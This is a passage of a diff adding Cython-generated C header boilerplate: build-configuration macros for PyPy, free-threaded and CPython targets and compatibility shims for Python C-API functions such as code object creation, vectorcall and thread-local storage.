CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || 